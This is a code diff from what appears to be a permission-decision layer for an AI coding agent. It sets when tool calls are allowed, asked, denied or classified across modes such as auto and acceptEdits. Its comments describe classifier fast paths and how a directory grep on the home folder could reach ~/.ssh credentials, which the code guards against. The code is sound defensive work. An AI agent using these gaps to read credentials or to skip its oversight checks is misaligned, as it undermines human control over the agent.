if (subject && tool === "powershell" && params.powershellParse) {
|
|
1261
|
+
if (powershellReadOnly({ parse: params.powershellParse, cwd, home: homedir(), readableRoots: sessionReadableRoots() }).readOnly) {
|
|
1262
|
+
return { decision: "allow", cause: "read-only" };
|
|
1263
|
+
}
|
|
1264
|
+
// Claude Code's acceptEdits PowerShell cmdlets on the working space, the
|
|
1265
|
+
// PowerShell half of the bash file-command fast path above.
|
|
1266
|
+
if (
|
|
1267
|
+
fastPaths &&
|
|
1268
|
+
(mode === "acceptEdits" || mode === "auto") &&
|
|
1269
|
+
powershellTreeContainedEdits(params.powershellParse, { cwd, home: homedir(), writableRoots: params.workspaceDirs, protectedDirs: params.protectedDirs }).ok
|
|
1270
|
+
) {
|
|
1271
|
+
return { decision: "allow", cause: "mode" };
|
|
1272
|
+
}
|
|
1273
|
+
}
|
|
1274
|
+
|
|
1275
|
+
if (mode === "auto" && (DELEGATION_TOOLS.has(tool) || CLASSIFY_IN_AUTO_TOOLS.has(tool))) {
|
|
930
1276
|
return { decision: "classify", cause: "mode" };
|
|
931
1277
|
}
|
|
932
1278
|
|
|
@@ -942,25 +1288,30 @@ export function decide(params: DecideInput): Decision {
|
|
|
942
1288
|
* was allowed in every mode including auto and plan, and acceptEdits wrote
|
|
943
1289
|
* anywhere on disk (PERMISSIONS-REVIEW-2026-09-05 H1, H2).
|
|
944
1290
|
*/
|
|
945
|
-
const inWorkingSpace = (): boolean =>
|
|
946
|
-
const target = params.resolvedSubject ?? subject;
|
|
947
|
-
const roots = [cwd, params.resolvedCwd, params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath, params.sessionDirPath];
|
|
948
|
-
if (roots.some((dir) => dir && isAtOrInsideDir(target, dir, cwd))) return true;
|
|
949
|
-
return params.planFilePath ? isPlanFilePath(target, params.planFilePath, cwd) : false;
|
|
950
|
-
};
|
|
951
|
-
const outsideWorkingDir = (): Decision => {
|
|
952
|
-
if (mode === "auto") return { decision: "classify", cause: "working-dir" };
|
|
953
|
-
if (mode === "dontAsk") return { decision: "deny", cause: "working-dir" };
|
|
954
|
-
return { decision: "ask", cause: "working-dir" };
|
|
955
|
-
};
|
|
956
|
-
|
|
1291
|
+
const inWorkingSpace = (reads = false): boolean => workingSpaceHolds(subject, params.resolvedSubject ?? subject, true, reads);
|
|
957
1292
|
if (tier === "safe") {
|
|
958
1293
|
// No path argument (grep/find/ls default to the cwd) is an in-project read.
|
|
959
|
-
if (!subject || inWorkingSpace()) return { decision: "allow", cause: "tier" };
|
|
1294
|
+
if (!subject || inWorkingSpace(true)) return { decision: "allow", cause: "tier" };
|
|
1295
|
+
// Claude Code's auto mode reads outside the working directories without
|
|
1296
|
+
// the classifier (the read tools are on its safe allowlist); the caller
|
|
1297
|
+
// raises its one-time first-read prompt. A credential path is still
|
|
1298
|
+
// judged: our plug, as in the shell pre-gate. So is a content search of
|
|
1299
|
+
// anything but one file: pi's grep runs ripgrep with `--hidden`, and a
|
|
1300
|
+
// directory's credentials sit anywhere below it (`grep` on `~` reads
|
|
1301
|
+
// `~/.ssh`), where no check of the named path can see them.
|
|
1302
|
+
const target = toAbsolute(cwd, params.resolvedSubject ?? subject, homedir());
|
|
1303
|
+
const searchesTree = tool === "grep" && !isRegularFile(target);
|
|
1304
|
+
if (mode === "auto" && fastPaths && !searchesTree && !isCredential(target) && !isCredential(toAbsolute(cwd, subject, homedir()))) {
|
|
1305
|
+
return { decision: "allow", cause: "outside-read" };
|
|
1306
|
+
}
|
|
960
1307
|
return outsideWorkingDir();
|
|
961
1308
|
}
|
|
962
1309
|
if (AUTO_ALLOWED_TOOLS.has(tool)) return { decision: "allow", cause: "tier" };
|
|
963
|
-
|
|
1310
|
+
// Auto mode skips the classifier for an edit acceptEdits would allow, on a
|
|
1311
|
+
// model that gets Claude Code's fast paths: anywhere in the working space,
|
|
1312
|
+
// workspace directories and execution-primitive files included. Outside it
|
|
1313
|
+
// the edit is still classified.
|
|
1314
|
+
if (tier === "edit" && (mode === "acceptEdits" || (mode === "auto" && fastPaths))) {
|
|
964
1315
|
if (subject && inWorkingSpace()) return { decision: "allow", cause: "mode" };
|
|
965
1316
|
return outsideWorkingDir();
|
|
966
1317
|
}
|